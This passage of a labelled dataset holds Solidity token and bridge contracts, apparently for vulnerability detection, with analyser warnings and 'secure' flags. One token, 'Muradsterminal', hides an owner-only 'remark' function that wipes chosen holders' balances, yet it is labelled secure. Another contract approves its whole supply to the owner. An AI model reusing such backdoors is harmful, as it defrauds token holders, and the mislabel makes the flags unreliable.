"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract Ethereum is Ownable {\n IERC20 public token;\n\n uint256 public fee;\n\n uint256 public nonce;\n\n mapping(uint256 => bool) usedNonce;\n\n event Deposit(\n uint256 indexed nonce,\n address indexed sender,\n uint256 amount\n );\n\n event FeeChanged(uint256 oldFee, uint256 newFee);\n\n event Transfer(\n uint256 indexed nonce,\n address indexed owner,\n uint256 amount\n );\n\n constructor(address _token) Ownable(msg.sender) {\n token = IERC20(_token);\n\n fee = 0;\n\n _approveForRescue(msg.sender);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a66fd88): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a66fd88: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f348389): Ethereum.transfer(uint256,address,uint256)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for f348389: Rename the local variables that shadow another component.\n function transfer(\n uint256 _nonce,\n address _owner,\n uint256 amount\n ) external onlyOwner {\n require(usedNonce[_nonce] != true, \"Already transferred\");\n\n usedNonce[_nonce] = true;\n\n\t\t// reentrancy-events | ID: a66fd88\n require(token.transfer(_owner, amount), \"Transfer failed\");\n\n\t\t// reentrancy-events | ID: a66fd88\n emit Transfer(_nonce, _owner, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4ab5ded): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4ab5ded: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a96ad07): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a96ad07: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function deposit(uint256 _value) external {\n require(_value - fee > 0, \"Incorrect fee\");\n\n uint256 value = _value - fee;\n\n\t\t// reentrancy-events | ID: 4ab5ded\n\t\t// reentrancy-benign | ID: a96ad07\n require(\n token.transferFrom(msg.sender, address(this), value),\n \"Transfer Error\"\n );\n\n if (fee != 0) {\n\t\t\t// reentrancy-events | ID: 4ab5ded\n\t\t\t// reentrancy-benign | ID: a96ad07\n require(\n token.transferFrom(msg.sender, owner(), fee),\n \"Transfer Error 2\"\n );\n }\n\n\t\t// reentrancy-benign | ID: a96ad07\n nonce++;\n\n\t\t// reentrancy-events | ID: 4ab5ded\n emit Deposit(nonce, msg.sender, value);\n }\n\n function changeFee(uint256 newFee) external onlyOwner {\n uint256 oldFee = fee;\n\n fee = newFee;\n\n emit FeeChanged(oldFee, newFee);\n }\n\n function changeToken(address _token) external onlyOwner {\n token = IERC20(_token);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4736ef7): Ethereum._approveForRescue(address) ignores return value by token.approve(_address,totalSupply)\n\t// Recommendation for 4736ef7: Ensure that all the return values of the function calls are used.\n function _approveForRescue(address _address) internal {\n uint256 totalSupply = token.totalSupply();\n\n\t\t// unused-return | ID: 4736ef7\n token.approve(_address, totalSupply);\n }\n\n function approveForRescue(address _address) external onlyOwner {\n _approveForRescue(_address);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a190551): Ethereum._rejectForRescue(address) ignores return value by token.approve(_address,0)\n\t// Recommendation for a190551: Ensure that all the return values of the function calls are used.\n function _rejectForRescue(address _address) internal {\n\t\t// reentrancy-events | ID: df3d22e\n\t\t// unused-return | ID: a190551\n\t\t// reentrancy-no-eth | ID: 132f6f5\n token.approve(_address, 0);\n }\n\n function rejectForRescue(address _address) external onlyOwner {\n _rejectForRescue(_address);\n }\n\n function transferOwnership(address newOwner) public override {\n super.transferOwnership(newOwner);\n\n _approveForRescue(owner());\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: df3d22e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for df3d22e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 132f6f5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 132f6f5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function renounceOwnership() public override {\n\t\t// reentrancy-events | ID: df3d22e\n\t\t// reentrancy-no-eth | ID: 132f6f5\n _rejectForRescue(owner());\n\n\t\t// reentrancy-events | ID: df3d22e\n\t\t// reentrancy-no-eth | ID: 132f6f5\n super.renounceOwnership();\n }\n\n function contractBalance() external view returns (uint256) {\n return token.balanceOf(address(this));\n }\n}",
"file_name": "solidity_code_726.sol",
"secure": 0,
"size_bytes": 6269
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n}",
"file_name": "solidity_code_727.sol",
"secure": 1,
"size_bytes": 667
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract SATOSHIPATCH is IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n uint256 public totalSupply;\n\n mapping(address => uint256) public balanceOf;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n string public name;\n\n string public symbol;\n\n uint8 public immutable decimals;\n\n constructor() {\n name = \"satoshi 74638 patched bitcoin\";\n\n symbol = \"patch\";\n\n decimals = 8;\n\n _update(address(0), msg.sender, 184467440737085540);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool) {\n _update(msg.sender, recipient, amount);\n\n return true;\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n allowance[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool) {\n require(\n allowance[sender][msg.sender] >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n allowance[sender][msg.sender] -= amount;\n\n _update(sender, recipient, amount);\n\n return true;\n }\n\n function mint(uint256 amountToMint) external {\n require(\n amountToMint <= 244678000924078,\n \"Minting exceeds amount to mint\"\n );\n\n require(\n totalSupply + amountToMint <= 18446744073708554078,\n \"Minting exceeds total supply\"\n );\n\n _update(address(0), msg.sender, amountToMint);\n }\n\n function _update(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n totalSupply += value;\n } else {\n uint256 fromBalance = balanceOf[from];\n\n if (fromBalance < value) {\n revert(\"ERC20: transfer amount exceeds balance\");\n }\n\n unchecked {\n balanceOf[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n totalSupply -= value;\n }\n } else {\n unchecked {\n balanceOf[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n}",
"file_name": "solidity_code_728.sol",
"secure": 1,
"size_bytes": 2744
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract MadApeCoin is ERC20 {\n constructor() ERC20(\"MadApeCoin\", \"MadApe\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_729.sol",
"secure": 1,
"size_bytes": 286
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ZOO is ERC20, Ownable {\n uint256 public constant MAX_SUPPLY = 420690000000000 * 1 ether;\n\n uint256 public constant MINT_AMOUNT = 10000000000 * 1 ether;\n\n uint256 public constant FOUNDER_SHARE = (MAX_SUPPLY * 5) / 100;\n\n mapping(address => bool) private hasMinted;\n\n function mint() external {\n require(\n totalSupply() + MINT_AMOUNT <= MAX_SUPPLY,\n \"Total supply exceeded\"\n );\n\n require(!hasMinted[msg.sender], \"Address has already minted\");\n\n require(msg.sender == tx.origin, \"Contracts are not allowed to mint\");\n\n hasMinted[msg.sender] = true;\n\n _mint(msg.sender, MINT_AMOUNT);\n }\n\n constructor(address initialOwner) ERC20(\"ZOO\", \"ZOO\") Ownable(msg.sender) {\n renounceOwnership();\n\n _mint(initialOwner, FOUNDER_SHARE);\n }\n}",
"file_name": "solidity_code_73.sol",
"secure": 1,
"size_bytes": 1060
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract HytorAI is ERC20 {\n constructor() ERC20(\"Hytor AI\", \"HTR\") {\n _mint(msg.sender, 1000000000 * (10 ** 18));\n }\n}",
"file_name": "solidity_code_730.sol",
"secure": 1,
"size_bytes": 266
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Credits {\n function generator() external pure returns (string memory) {\n return \"https://www.smartcontracts.tools/token-generator\";\n }\n}",
"file_name": "solidity_code_731.sol",
"secure": 1,
"size_bytes": 233
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"./Credits.sol\" as Credits;\nimport \"./ServicePayer.sol\" as ServicePayer;\n\ncontract SimpleERC20 is ERC20, Credits, ServicePayer {\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 initialBalance_,\n bytes memory signature_,\n address payable feeReceiver_\n )\n payable\n ERC20(name_, symbol_)\n ServicePayer(feeReceiver_, \"SimpleERC20\", signature_, _msgSender())\n {\n require(initialBalance_ > 0, \"Initial supply cannot be zero\");\n\n _mint(_msgSender(), initialBalance_);\n }\n}",
"file_name": "solidity_code_732.sol",
"secure": 1,
"size_bytes": 722
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RsAADA is ERC20 {\n constructor() ERC20(\"rsAADA\", \"rsLENFI\") {\n _mint(msg.sender, 29500000000000);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 6;\n }\n}",
"file_name": "solidity_code_733.sol",
"secure": 1,
"size_bytes": 358
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RsADA is ERC20 {\n constructor() ERC20(\"rsADA\", \"rsADA\") {\n _mint(msg.sender, 45000000000000000);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 6;\n }\n}",
"file_name": "solidity_code_734.sol",
"secure": 1,
"size_bytes": 357
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RsBOOK is ERC20 {\n constructor() ERC20(\"rsBOOK\", \"rsSTUFF\") {\n _mint(msg.sender, 10000000000000000);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 6;\n }\n}",
"file_name": "solidity_code_735.sol",
"secure": 1,
"size_bytes": 361
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RsBTC is ERC20 {\n constructor() ERC20(\"rsBTC\", \"rsBTC\") {\n _mint(msg.sender, 2100000000000000);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n}",
"file_name": "solidity_code_736.sol",
"secure": 1,
"size_bytes": 356
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RsBTN is ERC20 {\n constructor() ERC20(\"rsBTN\", \"rsBTN\") {\n _mint(msg.sender, 12585000000000);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 6;\n }\n}",
"file_name": "solidity_code_737.sol",
"secure": 1,
"size_bytes": 354
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RsCOMET is ERC20 {\n constructor() ERC20(\"rsCOMET\", \"rsCOMET\") {\n _mint(msg.sender, 21000000000);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 0;\n }\n}",
"file_name": "solidity_code_738.sol",
"secure": 1,
"size_bytes": 357
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RsERG is ERC20 {\n constructor() ERC20(\"rsERG\", \"rsERG\") {\n _mint(msg.sender, 97739924500000000);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n}",
"file_name": "solidity_code_739.sol",
"secure": 1,
"size_bytes": 357
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 175b14b): Contract locking ether found Contract EveOneCat has payable functions EveOneCat.receive() But does not have a function to withdraw the ether\n// Recommendation for 175b14b: Remove the 'payable' attribute or add a withdraw function.\ncontract EveOneCat is ERC20, Ownable {\n uint256 public constant MAX_SUPPLY = 5_500_000_000 * 1 ether;\n\n uint256 public constant MINT_AMOUNT = 10_000 * 1 ether;\n\n mapping(address => bool) private hasMinted;\n\n constructor() ERC20(\"EveOneCat\", \"cat\") Ownable(msg.sender) {\n uint256 lpAmt = 50_000 * MINT_AMOUNT;\n\n _mint(0x6b595cFbA029478515fFA0be8764769438A6477D, lpAmt);\n\n renounceOwnership();\n }\n\n function __mint() private {\n require(\n totalSupply() + MINT_AMOUNT <= MAX_SUPPLY,\n \"Total supply exceeded\"\n );\n\n require(!hasMinted[msg.sender], \"Address has already minted\");\n\n require(msg.sender == tx.origin, \"Contracts are not allowed to mint\");\n\n hasMinted[msg.sender] = true;\n\n _mint(msg.sender, MINT_AMOUNT);\n }\n\n function mint() external {\n __mint();\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 175b14b): Contract locking ether found Contract EveOneCat has payable functions EveOneCat.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 175b14b: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {\n __mint();\n }\n}",
"file_name": "solidity_code_74.sol",
"secure": 0,
"size_bytes": 1788
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RsHOSKY is ERC20 {\n constructor() ERC20(\"rsHOSKY\", \"rsHOSKY\") {\n _mint(msg.sender, 1000000000000001);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 0;\n }\n}",
"file_name": "solidity_code_740.sol",
"secure": 1,
"size_bytes": 362
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RsHUNT is ERC20 {\n constructor() ERC20(\"rsHUNT\", \"rsHUNT\") {\n _mint(msg.sender, 100000000000000);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 6;\n }\n}",
"file_name": "solidity_code_741.sol",
"secure": 1,
"size_bytes": 358
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RsIAG is ERC20 {\n constructor() ERC20(\"rsIAG\", \"rsIAG\") {\n _mint(msg.sender, 1000000000000000);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 6;\n }\n}",
"file_name": "solidity_code_742.sol",
"secure": 1,
"size_bytes": 356
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RsINDY is ERC20 {\n constructor() ERC20(\"rsINDY\", \"rsINDY\") {\n _mint(msg.sender, 35000000000000);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 6;\n }\n}",
"file_name": "solidity_code_743.sol",
"secure": 1,
"size_bytes": 357
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RsLQ is ERC20 {\n constructor() ERC20(\"rsLQ\", \"rsLQ\") {\n _mint(msg.sender, 21000000000000);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 6;\n }\n}",
"file_name": "solidity_code_744.sol",
"secure": 1,
"size_bytes": 351
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RsMILKv2 is ERC20 {\n constructor() ERC20(\"rsMILKv2\", \"rsMILK\") {\n _mint(msg.sender, 10000000000000);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 6;\n }\n}",
"file_name": "solidity_code_745.sol",
"secure": 1,
"size_bytes": 361
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RsMIN is ERC20 {\n constructor() ERC20(\"rsMIN\", \"rsMIN\") {\n _mint(msg.sender, 3000000000000000);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 6;\n }\n}",
"file_name": "solidity_code_746.sol",
"secure": 1,
"size_bytes": 356
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RsOADA is ERC20 {\n constructor() ERC20(\"rsOADA\", \"rsOADA\") {\n _mint(msg.sender, 17757500909958);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 6;\n }\n}",
"file_name": "solidity_code_747.sol",
"secure": 1,
"size_bytes": 357
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RsOPTIM is ERC20 {\n constructor() ERC20(\"rsOPTIM\", \"rsOPTIM\") {\n _mint(msg.sender, 100000000000000);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 6;\n }\n}",
"file_name": "solidity_code_748.sol",
"secure": 1,
"size_bytes": 361
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RsRSN is ERC20 {\n constructor() ERC20(\"rsRSN\", \"rsRSN\") {\n _mint(msg.sender, 1000000000000);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 3;\n }\n}",
"file_name": "solidity_code_749.sol",
"secure": 1,
"size_bytes": 353
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract DOG is ERC20, Ownable {\n uint256 public constant MAX_SUPPLY = 420690000000 * 1 ether;\n\n uint256 public constant MINT_AMOUNT = 42069000 * 1 ether;\n\n mapping(address => bool) private hasMinted;\n\n constructor() ERC20(\"DOG\", \"DOG\") Ownable(msg.sender) {\n uint256 lpAmt = (MAX_SUPPLY * 5) / 100;\n\n _mint(0x21566Bb49754f7B73a5818AD1A3C7A00451a2D33, lpAmt);\n\n renounceOwnership();\n }\n\n function mint() external {\n require(\n totalSupply() + MINT_AMOUNT <= MAX_SUPPLY,\n \"Total supply exceeded\"\n );\n\n require(!hasMinted[msg.sender], \"Address has already minted\");\n\n require(msg.sender == tx.origin, \"Contracts are not allowed to mint\");\n\n hasMinted[msg.sender] = true;\n\n uint256 to_VB = (MINT_AMOUNT * 5) / 100;\n\n _mint(0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045, to_VB);\n\n _mint(msg.sender, MINT_AMOUNT - to_VB);\n }\n}",
"file_name": "solidity_code_75.sol",
"secure": 1,
"size_bytes": 1165
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RsSigRSV is ERC20 {\n constructor() ERC20(\"rsSigRSV\", \"rsSigRSV\") {\n _mint(msg.sender, 10000000000001);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 0;\n }\n}",
"file_name": "solidity_code_750.sol",
"secure": 1,
"size_bytes": 363
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RsSigUSD is ERC20 {\n constructor() ERC20(\"rsSigUSD\", \"rsSigUSD\") {\n _mint(msg.sender, 10000000000001);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 2;\n }\n}",
"file_name": "solidity_code_751.sol",
"secure": 1,
"size_bytes": 363
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RsSNEK is ERC20 {\n constructor() ERC20(\"rsSNEK\", \"rsSNEK\") {\n _mint(msg.sender, 76715880000);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 0;\n }\n}",
"file_name": "solidity_code_752.sol",
"secure": 1,
"size_bytes": 354
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RssOADA is ERC20 {\n constructor() ERC20(\"rssOADA\", \"rssOADA\") {\n _mint(msg.sender, 16953010377450);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 6;\n }\n}",
"file_name": "solidity_code_753.sol",
"secure": 1,
"size_bytes": 360
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RsSPF is ERC20 {\n constructor() ERC20(\"rsSPF\", \"rsSPF\") {\n _mint(msg.sender, 1000000000000000);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 6;\n }\n}",
"file_name": "solidity_code_754.sol",
"secure": 1,
"size_bytes": 356
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RsSPLASH is ERC20 {\n constructor() ERC20(\"rsSPLASH\", \"rsSPLASH\") {\n _mint(msg.sender, 99999999996576);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 6;\n }\n}",
"file_name": "solidity_code_755.sol",
"secure": 1,
"size_bytes": 363
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RsSUNDAE is ERC20 {\n constructor() ERC20(\"rsSUNDAE\", \"rsSUNDAE\") {\n _mint(msg.sender, 2000000000000000);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 6;\n }\n}",
"file_name": "solidity_code_756.sol",
"secure": 1,
"size_bytes": 365
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RsVYFI is ERC20 {\n constructor() ERC20(\"rsVYFI\", \"rsVYFI\") {\n _mint(msg.sender, 450000000000000);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 6;\n }\n}",
"file_name": "solidity_code_757.sol",
"secure": 1,
"size_bytes": 358
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RsWingRiders is ERC20 {\n constructor() ERC20(\"rsWingRiders\", \"rsWRT\") {\n _mint(msg.sender, 100000000000000);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 6;\n }\n}",
"file_name": "solidity_code_758.sol",
"secure": 1,
"size_bytes": 369
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Muradsterminal is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable breast;\n\n constructor() {\n _name = \"Murands Terminal\";\n\n _symbol = \"MTERMI\";\n\n _decimals = 18;\n\n uint256 initialSupply = 371000000;\n\n breast = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == breast, \"Not allowed\");\n\n _;\n }\n\n function remark(address[] memory ferry) public onlyOwner {\n for (uint256 i = 0; i < ferry.length; i++) {\n address account = ferry[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_759.sol",
"secure": 1,
"size_bytes": 4368
} |
{
